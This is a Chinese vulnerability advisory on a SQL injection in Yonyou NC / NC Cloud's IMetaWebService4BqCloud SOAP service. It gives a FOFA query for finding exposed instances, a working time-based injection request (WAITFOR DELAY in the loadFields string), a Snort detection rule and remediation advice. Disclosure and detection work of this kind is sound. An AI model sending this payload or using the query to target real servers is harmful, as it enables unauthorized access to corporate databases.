

用友NC及NC Cloud系统 IMetaWebService4BqCloud SQL注入漏洞

用友NC及NC Cloud系统 IMetaWebService4BqCloud SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友NC及NC Cloud系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: (body="UFIDA" && body="logo/images/") || (body="logo/images/ufida_nc.png") || title="Yonyou NC" || body="<div id="nc_text">" || body="<div id="nc_img" onmouseover="overImage('nc');" || (title="产品登录界面" && body="UFIDA NC") || (body="/Client/Uclient/UClient.exe" && title="Yonyou UAP")

POC/EXP:

```
POST /uapws/service/uap.pubitf.ae.meta.IMetaWebService4BqCloud HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
SOAPAction: urn:loadFields
Content-Type: text/xml;charset=UTF-8
```

```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:imet="http://meta.ae.pubitf.uap/IMetaWebService4BqCloud">
  <soapenv:Header/>
  <soapenv:Body>
    <imet:loadFields>
      <!--type: string-->
      <imet:string>SmartModel^1';WAITFOR DELAY '0:0:5'--</imet:string>
    </imet:loadFields>
  </soapenv:Body>
</soapenv:Envelope>
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"Yonyou NC - SOAP SQLi in IMetaWebService4BqCloud";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/uapws/service/uap.pubitf.ae.meta.IMetaWebService4BqCloud";
  http_uri;
  content:"SOAPAction: urn:loadFields"; http_header;
  content:"<imet:string>"; http_client_body;
  pcre:"/<imet:string>[^\<]*' [^\<]*(WAITFOR\s+DELAY|SLEEP\(\d+\))/i";
  metadata:service http;
  metadata:affected_product "用友NC/NC Cloud";
  metadata:vulnerability_type "SOAP SQL Injection";
  classtype:sql-injection;
  sid:1000322;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。